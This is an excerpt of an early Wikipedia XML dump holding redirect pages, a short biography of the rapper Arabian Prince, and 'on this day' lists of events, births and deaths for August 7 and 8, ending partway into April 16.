  <page>
    <title>A.D.</title>
    <id>1328</id>
    <revision>
      <id>37356754</id>
      <timestamp>2006-01-30T13:41:38Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;AD&quot; +&quot;Anno Domini&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Anno Domini]]</text>
    </revision>
  </page>
  <page>
    <title>Art nouveau</title>
    <id>1330</id>
    <revision>
      <id>15899819</id>
      <timestamp>2002-06-26T09:56:27Z</timestamp>
      <contributor>
        <ip>217.99.105.223</ip>
      </contributor>
      <comment>making redirection</comment>
      <text xml:space="preserve">#REDIRECT [[Art Nouveau]]</text>
    </revision>
  </page>
  <page>
    <title>Arabian Prince</title>
    <id>1331</id>
    <revision>
      <id>40884082</id>
      <timestamp>2006-02-23T17:28:58Z</timestamp>
      <contributor>
        <username>Urthogie</username>
        <id>106482</id>
      </contributor>
      <comment>fix category</comment>
      <text xml:space="preserve">'''Arabian Prince''' (born '''Mik Lezan''') is an [[electro hop]] and [[hip hop music|hip hop]] [[rapping|rapper]] from [[Los Angeles, California|Los Angeles]]. He started his career at [[RapSur Records]], a label setup by Russ Parr, and released some electro classics like &quot;Innovator&quot; &amp; &quot;Strange Life&quot;. A couple of years later he joined the Compton, CA, rap group [[Niggaz with Attitude]] (N.W.A.). The Arabian Prince found the going tough when he departed the group for a solo career in 1988. His debut Brother Arab on Orpheus barely scraped the bottom of the R&amp;B and pop charts in 1989. His first solo releases are in high demand nowadays. His credit albums include ''[[Brother Arab]]'' and ''[[Where's My Bytches]]'', as well as work on [[N.W.A.]]'s ''[[Straight Outta Compton]]'' and [[record producer|production]] for various other [[West Coast rap|West Coast hip hop]] artists.
Arabian Prince has reappeared testing [[Computer and video games|video games]] for [[FOX Interactive]] around the year [[2000]] and currently runs a [[3d animation]] studio.

==External links==
*[http://www.compton.8m.com/arab The Underworld of the Arabian Prince]

[[Category:American rappers]]</text>
    </revision>
  </page>
  <page>
    <title>August 7</title>
    <id>1332</id>
    <revision>
      <id>40864386</id>
      <timestamp>2006-02-23T14:44:03Z</timestamp>
      <contributor>
        <username>Doesitbetter</username>
        <id>966706</id>
      </contributor>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=7}}
|}
'''August 7''' is the 219th day of the year in the [[Gregorian Calendar]] (220th in [[leap year]]s), with 146 days remaining. There are 94 days in North Hemisphere summer, South Hemisphere winter. The Northern Hemisphere is considered to be halfway through the [[summer]] on [[August 7]].


==Events==
*[[1679]] - The [[brigantine]] [[Le Griffon]], commissioned by [[René Robert Cavelier, Sieur de La Salle]], is towed to the southern end of the [[Niagara River]], to become the first ship to sail the upper [[Great Lakes]] of [[North America]].
*[[1782]] - [[George Washington]] orders the creation of the [[Badge of Military Merit]] to honor soldiers wounded in battle. It is later renamed to the more poetic [[Purple Heart]].
*[[1789]] - The [[United States War Department]] is established.
*[[1794]] - [[Whiskey Rebellion]] begins: Farmers in the [[Monongahela Valley]] of [[Pennsylvania]] rebel against the federal tax on [[liquor]] and distilled drinks.
*[[1819]] - [[Simón Bolívar]] triumphs over [[Spain]] in the [[Battle of Boyacá]].
*[[1879]] - The opening of the [[Poor Man's Palace]] in [[Manchester]].
*[[1927]] - The [[Peace Bridge]] opens, between [[Fort Erie, Ontario]] and [[Buffalo, New York]].
*[[1942]] - [[World War II]]: [[Battle of Guadalcanal]] begins - [[U.S. Marines]] initiate the first American offensive of the war with a landing on [[Guadalcanal (Pacific Ocean island)|Guadalcanal]] in the [[Solomon Islands]].
*[[1944]] - [[IBM]] dedicates the first program-controlled [[calculator]], the Automatic Sequence Controlled Calculator (known best as the [[Harvard Mark I]]).
*[[1945]] - President [[Harry Truman]] announces the successful bombing of [[Hiroshima]] with an [[nuclear weapon|atomic bomb]] while returning from the [[Potsdam Conference]] aboard the heavy cruiser [[USS Augusta (CA-31)]] in the middle of the [[Atlantic Ocean]].
*[[1947]] - [[Thor Heyerdahl]]'s [[balsa wood]] raft the [[Kon-Tiki]], smashes into the [[reef]] at [[Raroia]] in the [[Tuamotu Islands]] after a 101-day, 7000-km (4375-mile) journey across the [[Pacific Ocean]] proving that pre-historic peoples could have traveled from [[South America]].
*1947 - The [[Bombay Municipal Corporation]] formally takes over the [[Bombay Electric Supply and Transport]] (BEST). 
*[[1955]] - Tokyo Telecommunications Engineering, the precursor to [[Sony]], begins selling its first [[Transistor radio|transistor radios]] in [[Japan]].
*[[1959]] - [[Explorer program]]: The [[United States]] launches [[Explorer 6]] from the Atlantic Missile Range in [[Cape Canaveral, Florida]].
*[[1960]] - [[Côte d'Ivoire]] becomes independent.
*[[1964]] - [[Vietnam War]]: The [[Congress of the United States|U.S. Congress]] passes the [[Gulf of Tonkin Resolution]] giving US President [[Lyndon B. Johnson]] broad war powers to deal with [[North Vietnam]]ese attacks on American forces.
*[[1965]] - [[Singapore]] is expelled and separated from the [[Federation of Malaysia]].
*[[1966]] - [[Race riot]]s occur in [[Lansing, Michigan]].
*[[1967]] - Vietnam War: The [[People's Republic of China]] agrees to give [[North Vietnam]] an undisclosed amount of aid in the form of a grant.
*[[1970]] - California Judge [[Harold Haley]] is taken hostage in his courtroom and killed during in an effort to free [[George Jackson (Black Panther)|George Jackson]] from police custody.
*[[1973]] - [[NBC]] airs the final day of the [[Watergate hearings]] on U.S. daytime television.
*[[1976]] - [[Viking program]]: [[Viking 2]] enters into orbit around [[Mars (planet)|Mars]].
*[[1978]] - United States [[President]] [[Jimmy Carter]] declares a federal emergency at [[Love Canal]].
*[[1981]] -''[[The Washington Star]]'' ceases all operations after 128 years of publication.
*[[1985]] - [[Takao Doi]], [[Mamoru Mohri]] and [[Chiaki Mukai]] are chosen to be [[Japan|Japan's]] first [[astronaut|astronauts]].
*[[1988]] - Rioting in [[New York City]]'s [[Tompkins Square Park]]
*[[1989]] - [[U.S. Congress|U.S. Congressman]] [[Mickey Leland]] (D-[[Texas|TX]]) and 15 others die in a [[plane crash]] in [[Ethiopia]].  
*[[1990]] - At 12:34:56 (both AM and PM) the time and date by British reckoning was 12:34:56 7/8/90 i.e. 1234567890.
*[[1995]] - [[Operation Storm]] is officialy declared over in [[Croatia]], resulting in total Croat victory over rebel Serb forces.
*[[1997]] - [[Fine Air]] Flight 101, a cargo flight from Miami to Santo Domingo crashes onto NW 72nd Ave near [[Miami International Airport]], killing five people.
*[[1998]] - [[1998 U.S. embassy bombings]]: Bombing of the United States embassies in [[Dar es Salaam]], [[Tanzania]], and [[Nairobi]], [[Kenya]], kill 224 people and injure over 4,500.
*[[1999]] - A group of [[India]]n army veterans launch the [[political party]] [[Rashtriya Raksha Dal]].
*[[2000]] - [[deviantART]].com is created by [[Scott Jarkoff]], Matteo Stevens, and Angelo Sortia.
*[[2005]] - [[Russia]]n [[Priz class]] mini-submarine [[AS-28]] and its seven crewmembers are rescued off the Pacific coast
* 2005 - Singer [[Marc Cohn]] is shot in the head during a [[carjacking]] attempt in [[Denver, Colorado|Denver]]; he survives.

==Births==
*[[1400]] - [[Guillaume Dufay]], French composer (d. [[1474]])
*[[1533]] - [[Alonso de Ercilla y Zúñiga]], Basque soldier and poet (d. [[1595]])
*[[1560]] - [[Elizabeth Báthory]], Hungarian serial killer (d. [[1614]])
*[[1574]] - [[Robert Dudley, styled Earl of Warwick]], English writer (d. [[1649]])
*[[1598]] - [[Georg Stiernhielm]], Swedish poet (d. [[1672]])
*[[1726]] - [[James Bowdoin]], American Revolutionary leader and politician (d. [[1790]])
*[[1742]] - [[Nathanael Greene]], American Revolutionary general (d. [[1786]])
*[[1779]] - [[Louis de Freycinet]], French explorer (d. [[1842]])
*1779 - [[Carl Ritter]], German geographer (d. [[1859]])
*[[1844]] - [[Auguste Michel-Lévy]], French geologist (d. [[191]])
*[[1860]] - [[Alan Leo]], British astrologer (d. [[1917]])
*[[1867]] - [[Emil Nolde]], German painter (d. [[1956]])
*[[1876]] - [[Mata Hari]], Dutch spy (d. [[1917]])
*[[1877]] - [[Ulrich Salchow]], Swedish figure skater (d. [[1949]])
*[[1885]] - [[Billie Burke]], American actress (d. [[1970]])
*[[1904]] - [[Ralph Bunche]], American diplomat, recipient of the [[Nobel Peace Prize]] (d. [[1971]])
*[[1925]] - [[M. S. Swaminathan]], Indian scientist
*1925 - [[Felice and Boudleaux Bryant|Felice Bryant]], American country songwriter and singer (d. [[2003]])
*[[1926]] - [[Stan Freberg]], American voice comedian
*[[1928]] - [[James Randi]], Canadian magician
*[[1929]] - [[Don Larsen]], baseball player
*[[1932]] - [[Abebe Bikila]], Ethiopan athlete
*[[1936]] - [[Rahsaan Roland Kirk]], American saxophonist
*[[1940]] - [[Jean-Luc Dehaene]], [[Prime Minister of Belgium]]
*[[1942]] - [[Garrison Keillor]], American writer and radio host
*1942 - [[B.J. Thomas]], American singer
*[[1943]] - [[Dino Valente]], American musician [[Quicksilver Messenger Service]] (d. [[1994]])
*[[1944]] - [[David Rasche]], American actor
*[[1945]] - [[Alan Page]], American football player
*[[1948]] - [[Greg Chappell]], Australian test cricket player, captain and coach
*[[1949]] - [[Walid Jumblatt]], leader of the Lebanese Druze
*[[1952]] - [[Alexei Sayle]], British 'alternate' comedian
*[[1955]] - [[Vladimir Sorokin]], Russian writer
*[[1958]] - [[Bruce Dickinson]], English singer ([[Iron Maiden]])
*[[1960]] - [[David Duchovny]], American actor
*[[1963]] - [[Harold Perrineau Jr.]], American actor
*[[1964]] - [[Michael Weishan]], American TV host, author
*[[1966]] - [[Jimmy Wales]], American founder of Wikipedia
*[[1973]] - [[Danny Graves]], American baseball player
*[[1975]] - [[David Hicks]], Australian alleged terrorist
*1975 - [[Charlize Theron]], South African actress
*[[1978]] - [[Jamey Jasta]], American Singer ([[Hatebreed]])
*[[1982]] - [[Yana Klochkova]], Ukrainian swimmer
*[[1987]] - [[Sidney Crosby]], Canadian hockey player

==Deaths==
*[[461]] - [[Majorian]], [[Roman Emperor]] (assassinated) (b. [[420]])
*[[479]]  - [[Emperor Yuryaku|Emperor Yūryaku]] of Japan
*[[1106]] - [[Henry IV, Holy Roman Emperor]] (b. [[1050]])
*[[1485]] - [[Alexander Stewart, 1st Duke of Albany]], English prince
*[[1613]] - [[Thomas Fleming (judge)|Thomas Fleming]], English judge (b. [[1544]])
*[[1616]] - [[Vincenzo Scamozzi]], Italian architect (b. [[1548]])
*[[1635]] - [[Friedrich von Spee]], German writer (b. [[1591]])
*[[1661]] - [[Jin Shengtan]], Chinese editor, writer and critic (b. [[1608]])
*[[1817]] - [[Pierre Samuel du Pont de Nemours]], French industrialist (b. [[1739]])
*[[1834]] - [[Joseph Marie Jacquard]], French weaver and inventor (b. [[1752]])
*[[1848]] - [[Jöns Jakob Berzelius]], Swedish chemist (b. [[1779]])
*[[1855]] - [[Mariano Arista]], [[President of Mexico]] (b. [[1802]])
*[[1912]] - [[François-Alphonse Forel]], Swiss hydrologist (b. [[1841]])
*[[1941]] - [[Rabindranath Tagore]], Indian author, [[Nobel Prize]] laureate (b. [[1861]])
*[[1957]] - [[Oliver Hardy]], American comedian and actor (b. [[1892]])
*[[1974]] - [[Rosario Castellanos]], Mexican poet (b. [[1925]])
*[[1989]] - [[Mickey Leland]], [[U.S. Congress|U.S. Congressman]] (D-[[Texas|TX]]) (b. [[1944]])
*[[1995]] - [[Brigid Brophy]], British author (b. [[1929]])
*[[1999]] - [[Brion James]], American actor (b. [[1945]])
*[[2004]] - [[Red Adair]], American firefighter (b. [[1915]])
*2004 - [[Colin Bibby]], English ornithologist (b. [[1948]])
*[[2005]] - [[Peter Jennings]], Canadian-born news anchor (b. [[1938]])



==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/7 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050807.html ''The New York Times'': On This Day]

----

[[August 6]] - [[August 8]] - [[July 7]] - [[September 7]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ilo:Agosto 7]]

[[af:7 Augustus]]
[[ar:7 أغسطس]]
[[an:7 d'agosto]]
[[ast:7 d'agostu]]
[[bg:7 август]]
[[be:7 жніўня]]
[[bs:7. avgust]]
[[ca:7 d'agost]]
[[ceb:Agosto 7]]
[[cv:Çурла, 7]]
[[co:7 d'aostu]]
[[cs:7. srpen]]
[[cy:7 Awst]]
[[da:7. august]]
[[de:7. August]]
[[et:7. august]]
[[el:7 Αυγούστου]]
[[es:7 de agosto]]
[[eo:7-a de aŭgusto]]
[[eu:Abuztuaren 7]]
[[fo:7. august]]
[[fr:7 août]]
[[fy:7 augustus]]
[[ga:7 Lúnasa]]
[[gl:7 de agosto]]
[[ko:8월 7일]]
[[hr:7. kolovoza]]
[[io:7 di agosto]]
[[id:7 Agustus]]
[[ia:7 de augusto]]
[[ie:7 august]]
[[is:7. ágúst]]
[[it:7 agosto]]
[[he:7 באוגוסט]]
[[jv:7 Agustus]]
[[ka:7 აგვისტო]]
[[csb:7 zélnika]]
[[ku:7'ê gelawêjê]]
[[lt:Rugpjūčio 7]]
[[lb:7. August]]
[[li:7 augustus]]
[[hu:Augusztus 7]]
[[mk:7 август]]
[[ms:7 Ogos]]
[[nap:7 'e aùsto]]
[[nl:7 augustus]]
[[ja:8月7日]]
[[no:7. august]]
[[nn:7. august]]
[[oc:7 d'agost]]
[[pl:7 sierpnia]]
[[pt:7 de Agosto]]
[[ro:7 august]]
[[ru:7 августа]]
[[sco:7 August]]
[[sq:7 Gusht]]
[[scn:7 di austu]]
[[simple:August 7]]
[[sk:7. august]]
[[sl:7. avgust]]
[[sr:7. август]]
[[fi:7. elokuuta]]
[[sv:7 augusti]]
[[tl:Agosto 7]]
[[tt:7. August]]
[[te:ఆగష్టు 7]]
[[th:7 สิงหาคม]]
[[vi:7 tháng 8]]
[[tr:7 Ağustos]]
[[uk:7 серпня]]
[[wa:7 d' awousse]]
[[war:Agosto 7]]
[[zh:8月7日]]
[[pam:Agostu 7]]</text>
    </revision>
  </page>
  <page>
    <title>August 8</title>
    <id>1333</id>
    <revision>
      <id>41774686</id>
      <timestamp>2006-03-01T17:34:33Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ added birth year</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=8}}
|}
'''August 8''' is the 220th day of the year in the [[Gregorian Calendar]] (221st in [[leap year]]s), with 145 days remaining.

==Events==
*[[1509]] - The Emperor [[Krishnadevaraya|Krishnadeva Raya]] is crowned, marking the beginning of the regeneration of the [[Vijayanagara Empire]].
*[[1585]] - [[John Davis (English explorer)|John Davis]] enters [[Cumberland Sound]] in quest for the [[Northwest Passage]]. 
*[[1588]] - [[Battle of Gravelines]] ends, marking the end of the [[Spanish Armada]]'s attempt to invade England. 
*[[1605]] - The city of [[Oulu]], [[Finland]], is founded by [[Charles IX of Sweden]].
*[[1647]] - [[Battle of Dangan Hill]] - [[Ireland|Irish]] forces are defeated by [[Great Britain|British]] [[Parliament]]ary forces. 
*[[1786]] - [[Mont Blanc]] in [[Switzerland]] is climbed for the first time by [[Jacques Balmat]] and Dr [[Michael-Gabriel Paccard]].  
*[[1839]] - [[Beta Theta Pi]] is founded in [[Oxford, Ohio]].
*[[1844]] - The [[Quorum of Twelve]], headed by [[Brigham Young]], is created as the leading body of the [[Mormon]] Church.  
*[[1863]] - [[American Civil War]]: Following his defeat in the [[Battle of Gettysburg]], General [[Robert E. Lee]] sends a letter of resignation to [[Confederate States of America|Confederate]] President [[Jefferson Davis]] (which is refused upon receipt).  
*[[1876]] - [[Thomas Edison]] receives a patent for his [[mimeograph]]. 
*[[1911]] - [[Public Law 62-5]] sets the number of representatives in the [[United States House of Representatives]] at 435. The law will take effect in [[1913]].   
*[[1918]] - [[World War I]]: [[Battle of Amiens]] - [[Canada|Canadian]] troops, backed by [[Australia]]ns, begin a string of almost continuous victories with a push through the [[Germany|German]] front lines. 
*[[1929]] - The [[Germany|German]] airship ''[[LZ 127 Graf Zeppelin|Graf Zeppelin]]'' begins a round-the-world flight. 
*[[1930]] - [[Betty Boop]] premieres in the animated film ''Dizzy Dishes''.  
*[[1938]] - The [[Mauthausen concentration camp]] opens.
*[[1942]] - [[World War II]]:  In [[Washington, DC]], six [[Germany|German]] would-be saboteurs are executed.
*1942 - [[Quit India]] resolution was passed by the [[Bombay]] session of the AICC, which leads to the start of a civil disobedience movement across [[India]]
*[[1945]] - World War II - The [[Soviet Union]] declares war on [[Japan]] and invades [[Manchuria]]. 
*1945 - The [[United Nations Charter]] is ratified by the [[United States]], which becomes the third nation to join.  
*[[1949]] - [[Bhutan]] becomes independent 
*[[1962]] - Elizabeth Ann Duncan becomes the last woman to be executed in the [[United States]] prior to the reintroduction of [[capital punishment]] in 1977. 
*[[1963]] - [[The Great Train Robbery of 1963|Great Train Robbery]]: In [[England]], a gang of 15 [[train robbery|train robbers]] steal 2.6 million pounds in bank notes.  
*[[1967]] - The [[Association of Southeast Asian Nations]] (ASEAN) is founded.
*[[1968]] - Jurō Wada successfully performs [[Japan|Japan's]] first [[Organ transplant|heart transplant]].
*[[1969]] - An iconic [http://en.wikipedia.org/wiki/Image:AbbeyRoad.jpg picture] of [[the Beatles]] is taken to be used on their album [[Abbey Road (album)|Abbey Road]].
*[[1972]] - [[Richard Nixon]] accepts the nomination as candidate for the [[President of the United States|presidency]].
*[[1973]] - U.S. Vice President Spiro Agnew goes on television to denounce accusations he had taken [[kickbacks]] while governor of Maryland. 
*1973 - [[Kim Dae-Jung]], a [[South Korea|South Korean]] politician and later president of South Korea, is [[1973 Kidnapping of Kim Dae-Jung|kidnapped]].
*[[1974]] - [[Watergate scandal]]: U.S. President [[Richard Nixon]] announces his resignation, effective the next day.
*[[1976]] - [[Boston_(album)|Boston]], by the rock band [[Boston_(band)|Boston]] is released. It will become the #1 best-selling debut album in history.
*[[1988]] - General [[Ne Win]], ruler of [[Burma]] since [[1962]], suddenly resigns.
*1988 - Chicago's [[Wrigley Field]] installs lights and attempts to play first game at night.
*[[1989]] - [[STS-28]]: The [[Space Shuttle Columbia]] takes off on a secret five-day military mission.  
*[[1991]] - Collapse of [[Warsaw radio mast]], the tallest construction ever built
*1991 - [[John McCarthy]], British Journalist held hostage in Lebanon for more than five years by [[Islamic Jihad]], is released.
*[[1999]] - The series finale of ''[[Mystery Science Theater 3000]]'' airs on the [[Sci-Fi Channel]].
*[[2000]] - [[Confederate States of America|Confederate]] submarine ''[[H.L. Hunley]]'' is  raised to the surface after 136 years on the ocean floor.
*[[2008]] - The opening ceremony of the [[2008 Summer Olympics]] is scheduled to begin at 8 o'clock (08-08-08-08)

==Births==
*[[1079]] - [[Emperor Horikawa]] of Japan (d. [[1107]])
*[[1602]] - [[Gilles de Roberval]], French mathematician (d. [[1675]])
*[[1605]] - [[Cæcilius Calvert, 2nd Baron Baltimore]], colonial Governor of Maryland (d. [[1675]])
*[[1646]] - [[Godfrey Kneller]], German-born painter (d. [[1723]])
*[[1673]] - [[John Ker]], Scottish spy (d. [[1726]])
*[[1693]] - [[Laurent Belissen]], French composer (d. [[1762]])
*[[1694]] - [[Francis Hutcheson (philosopher)|Francis Hutcheson]], Irish philosopher (d. [[1746]])
*[[1720]] - [[Carl Fredrik Pechlin]], Swedish politician (d. [[1796]])
*[[1814]] - [[Esther Hobart Morris|Esther Morris]], suffragist and the first U. S. woman judge (d. [[1902]])
*[[1839]] - [[Nelson Miles]], U.S. general (d. [[1925]])
*[[1866]] - [[Matthew Henson]], Arctic explorer (d. [[1955]])
*[[1875]] - [[Artur da Silva Bernardes]], President of Brazil (d. [[1955]])
*[[1879]] - [[Emiliano Zapata]], Mexican revolutionary (d. [[1919]])
*[[1880]] - [[Earle Page]], eleventh [[Prime Minister of Australia]] (d. [[1961]])
*[[1891]] - [[Adolf Busch]], German violinist (d. [[1952]])
*[[1892]] - [[Rafael Moreno Aranzadi]], Spanish footballer (d. [[1922]])
*[[1896]] - [[Marjorie Kinnan Rawlings]], American author (d. [[1953]])
*[[1901]] - [[Ernest O. Lawrence]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1958]])
*[[1902]] - [[Paul Dirac]], English physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1984]])
*[[1905]] - [[André Jolivet]], French composer (d. [[1974]])
*[[1907]] - [[Benny Carter]], American musician and arranger (d. [[2003]])
*[[1908]] - [[Arthur Goldberg]], U.S. Supreme Court Justice (d. [[1980]])
*[[1910]] - [[Sylvia Sidney]], American actress (d. [[1999]])
*[[1911]] - [[Rosetta LeNoire]], American actress (d. [[2002]])
*[[1915]] - [[Jumbo Elliott|James &quot;Jumbo&quot; Elliott]], American track coach (d. [[1981]])
*[[1919]] - [[Dino De Laurentiis]], Italian film producer
*[[1920]] - [[Leo Chiosso]], Italian lyricist
*[[1921]] - [[William Asher]], American film producer 
*1921 - [[John Herbert Chapman]], British physicist
*1921 - [[Webb Pierce]], American singer (d. [[1991]])
*1921 - [[Vulimiri Ramalingaswami]], Indian medical scientist
*1921 - [[Esther Williams]], American actress and swimmer
*[[1922]] - [[Rory Calhoun]], American actor (d. [[1999]])
*1922 - [[Rudi Gernreich]], Austrian-born fashion designer (d. [[1985]])
*[[1925]] - [[Alija Izetbegovic]], President of Bosnia-Herzegovina (d. [[2003]])
*[[1927]] - [[Johnny Temple]], baseball player (d. [[1994]])
*[[1928]] - [[Don Burrows]], Australian jazz musician
*[[1929]] - [[Larisa Bogoraz]], Soviet dissident (d. [[2004]])
*1929 - [[Ronald Biggs]], British criminal
*[[1931]] - Sir [[Roger Penrose]], British physicist
*[[1932]] - [[Mel Tillis]], American singer
*[[1035]] - [[John Laws]], Australia radio personality
*[[1936]] - [[Donald P. Bellisario]], American television producer
*[[1936]] - [[Keith Barron]], English actor
*[[1937]] - [[Dustin Hoffman]], American actor
*[[1938]] - [[Connie Stevens]], American singer and actress
*[[1939]] - [[Alexander Watson]], American ambassador and diplomat
*[[1944]] - [[Peter Weir]], Australian film director
*1944 - [[Uli Derickson]], Czech-born flight attendant
*1944 - [[Brooke Bundy]], American actress
*[[1949]] - [[Keith Carradine]], American actor
*[[1951]] - [[Mamoru Oshii]], Japanese film director
*[[1952]]  -[[Jostein Gaarder]], Norwegian author
*1952 - [[Robin Quivers]], American radio personality
*[[1953]] - [[Don Most]] American actor
*[[1954]] - [[Nigel Mansell]], English race car driver
*[[1955]] - [[Herbert Prohaska]], Austrian footballer
*[[1956]] - [[Branscombe Richmond]], American actor
*[[1958]] - [[Deborah Norville]], American reporter and television host
*[[1961]] - [[David Howell Evans|The Edge]], Irish guitarist ([[U2]])
*[[1966]] - [[Chris Eubank]], English boxer
*[[1973]] - [[Scott Stapp]], American singer ([[Creed (band)|Creed]])
*[[1974]] - [[Ulises De la Cruz]], Ecuadoran footballer
*[[1976]] - [[J.C. Chasez]], American singer ([[*NSYNC]])
*1976 - [[Drew Lachey]], American singer
*[[1978]] - [[Louis Saha]], French footballer
*[[1979]] - [[Richard Harwood]], British cellist
*[[1980]] - [[Sabine Klaschka]], German tennis player
*1980 - [[Pat Noonan]], American soccer player
*[[1981]] - [[Vanessa Amorosi]], Australian singer and songwriter
*1981 - [[Roger Federer]], Swiss tennis player
*[[1988]] - [[Princess Beatrice of York]]
*[[1989]] - [[Sesil Karatantcheva]], Bulgarian tennis player
&lt;!-- Please do not add your own birthday to this list. Thank you. --&gt;

==Deaths==
*[[869]] - [[Lothair II of Lotharingia]] (b. [[825]])
*[[1445]] - [[Oswald von Wolkenstein]], Austrian composer
*[[1553]] - [[Girolamo Fracastoro]], Italian physician (b. [[1478]])
*[[1588]] - [[Alonso Sánchez Coello]], Spanish painter
*[[1604]] - [[Horio Tadauji]], Japanese warlord (b. [[1578]])
*[[1684]] - [[George Booth, 1st Baron Delamer]] (b. [[1622]])
*[[1694]] - [[Antoine Arnauld]], French philosopher and mathematician (b. [[1612]])
*[[1759]] - [[Carl Heinrich Graun]], German composer
*[[1828]] - [[Carl Peter Thunberg]], Swedish naturalist (b. [[1743]])
*[[1879]] - [[Immanuel Hermann Fichte]], German philosopher (b. [[1797]])
*[[1887]] - [[Alexander William Doniphan]], American lawyer and soldier (b. [[1808]])
*[[1898]] - [[Eugène Boudin]], French painter (b. [[1824]])
*[[1902]] - [[James Tissot]], French artist (b. [[1836]])
*[[1911]] - [[William P. Frye]], American politician (b. [[1830]])
*[[1933]] - [[Adolf Loos]], Austrian architect (b. [[1870]])
*[[1940]] - [[Johnny Dodds]], American musician (b. [[1892]])
*[[1944]] - [[Chaim Soutine]], Russian painter (b. [[1894]])
*[[1965]] - [[Shirley Jackson]], American author (b. [[1916]])
*[[1972]] - [[Andrea Feldman]], American actor (b. [[1948]])
*[[1975]] - [[Julian &quot;Cannonball&quot; Adderley]], American jazz saxophonist (b. [[1928]])
*[[1985]] - [[Louise Brooks]], American actress (b. [[1906]])
*[[1987]] - [[Danilo Blanuša]], Croatian mathematician (b. [[1903]])
*[[1991]] - [[James Irwin]], astronaut (b. [[1930]])
*[[1996]] - [[Nevill Mott]], English physicist, [[Nobel Prize in Physics]] (b. [[1905]])
*[[2004]] - [[Fay Wray]], American actress (b. [[1907]])
*[[2005]] - [[Barbara Bel Geddes]], American actress (b. [[1922]])
*2005 - [[John H. Johnson]], African-American publisher; billionaire (b. [[1918]])
*2005 - [[Gene Mauch]], American athlete and manager (b. [[1925]])
*2005 - [[Monica Sjoo]], Swedish artist (cancer) (b. [[1938]])
*2005 - [[Ilse Werner]], German actress (b. [[1921]])

==Holidays and observances==
*[[Republic of China|Taiwan]]: [[Father's Day]].  (In [[Mandarin (linguistics)|Mandarin]], Ba Ba means father and 8-8, or August 8).
*[[Sweden]] - Namesday of Queen [[Silvia Sommerlath|Silvia]], an [[Flag days in Sweden|Official Flag Day]].

==Religious observances==
*[[Roman Catholic Church]]: Memorial of [[St Dominic de Guzman]], priest, (1170-1221).

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/8 BBC: On This Day]
*[http://www.nytimes.com/learning/general/onthisday/20050808.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Aug&amp;day=08 On This Day in Canada]
----

[[August 7]] - [[August 9]] - [[July 8]] - [[September 8]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:8 Augustus]]
[[ar:8 أغسطس]]
[[an:8 d'agosto]]
[[ast:8 d'agostu]]
[[bg:8 август]]
[[be:8 жніўня]]
[[bs:8. august]]
[[ca:8 d'agost]]
[[ceb:Agosto 8]]
[[cv:Çурла, 8]]
[[co:8 d'aostu]]
[[cs:8. srpen]]
[[cy:8 Awst]]
[[da:8. august]]
[[de:8. August]]
[[et:8. august]]
[[el:8 Αυγούστου]]
[[es:8 de agosto]]
[[eo:8-a de aŭgusto]]
[[eu:Abuztuaren 8]]
[[fo:8. august]]
[[fr:8 août]]
[[fy:8 augustus]]
[[ga:8 Lúnasa]]
[[gl:8 de agosto]]
[[ko:8월 8일]]
[[hr:8. kolovoza]]
[[io:8 di agosto]]
[[ilo:Agosto 8]]
[[id:8 Agustus]]
[[ia:8 de augusto]]
[[ie:8 august]]
[[is:8. ágúst]]
[[it:8 agosto]]
[[he:8 באוגוסט]]
[[jv:8 Agustus]]
[[ka:8 აგვისტო]]
[[csb:8 zélnika]]
[[ku:8'ê gelawêjê]]
[[la:8 Augusti]]
[[lt:Rugpjūčio 8]]
[[lb:8. August]]
[[li:8 augustus]]
[[hu:Augusztus 8]]
[[mk:8 август]]
[[ms:8 Ogos]]
[[nap:8 'e aùsto]]
[[nl:8 augustus]]
[[ja:8月8日]]
[[no:8. august]]
[[nn:8. august]]
[[oc:8 d'agost]]
[[pl:8 sierpnia]]
[[pt:8 de Agosto]]
[[ro:8 august]]
[[ru:8 августа]]
[[sq:8 Gusht]]
[[scn:8 di austu]]
[[simple:August 8]]
[[sk:8. august]]
[[sl:8. avgust]]
[[sr:8. август]]
[[fi:8. elokuuta]]
[[sv:8 augusti]]
[[tl:Agosto 8]]
[[tt:8. August]]
[[te:ఆగష్టు 8]]
[[th:8 สิงหาคม]]
[[vi:8 tháng 8]]
[[tr:8 Ağustos]]
[[uk:8 серпня]]
[[wa:8 d' awousse]]
[[war:Agosto 8]]
[[zh:8月8日]]
[[pam:Agostu 8]]</text>
    </revision>
  </page>
  <page>
    <title>April 16</title>
    <id>1334</id>
    <revision>
      <id>42092785</id>
      <timestamp>2006-03-03T19:57:12Z</timestamp>
      <contributor>
        <ip>81.48.151.33</ip>
      </contributor>
      <comment>(m) interwiki br</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=16}}
|}
[[April 16]] is the 106th day of the year in the [[Gregorian calendar]] (107th in [[leap year]]s). There are 259 days remaining.
==Events==
*[[1178 BC]] - A [[solar eclipse]] may mark the return of [[Odysseus]], legendary King of [[Ithaca]], to his kingdom after the [[Trojan War]].
*[[1071]] - [[Bari]] falls to [[Robert Guiscard]], ending [[Byzantine Empire|Byzantine]] rule in [[Italy]].
*[[1521]] - [[Martin Luther|Martin Luther's]] first appearance before the [[Diet of Worms]] to be examined by the [[Charles V, Holy Roman Emperor|Holy Roman Emperor Charles V]] and the rest of the estates of the empire.
